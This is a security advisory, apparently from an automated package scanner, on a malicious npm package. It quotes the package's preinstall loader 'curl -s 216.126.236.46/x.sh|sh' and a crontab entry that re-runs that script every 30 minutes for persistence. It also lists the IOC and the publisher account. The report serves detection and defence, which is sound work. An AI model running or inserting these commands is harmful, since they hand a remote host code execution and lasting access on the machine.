GCVE-110-OSM-2026-11286

package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload. Judge assessment: This looks like an installer-stage loader whose attacker goal is remote code execution plus persistence: the package.json preinstall runs `curl -s 216.126.236.46/x.sh|sh` and also adds a `crontab` entry to re-run the payload every 30 minutes. The IOC `216.126.236.46` is classified as a fetched payload source, which matches the OSV advisory and the shell-execution finding, and the shipped `index.js` is just a harmless stub so the manifest is effectively the payload. The combination of a brand-new npm package, a very new publisher account (`usuarioyc`), and no source repository strengthens the case that this is a malicious supply-chain drop rather than a legitimate HTTP client. This should be treated as confirmed malicious infrastructure for drive-by installer compromise on npm install. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "node -e \"" PERSISTENCE - Cron Job Persistence in package.json: "crontab -" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Shell Command Execution in package.json: "require('child_process')" - Brand New Package - Very New NPM Publisher Account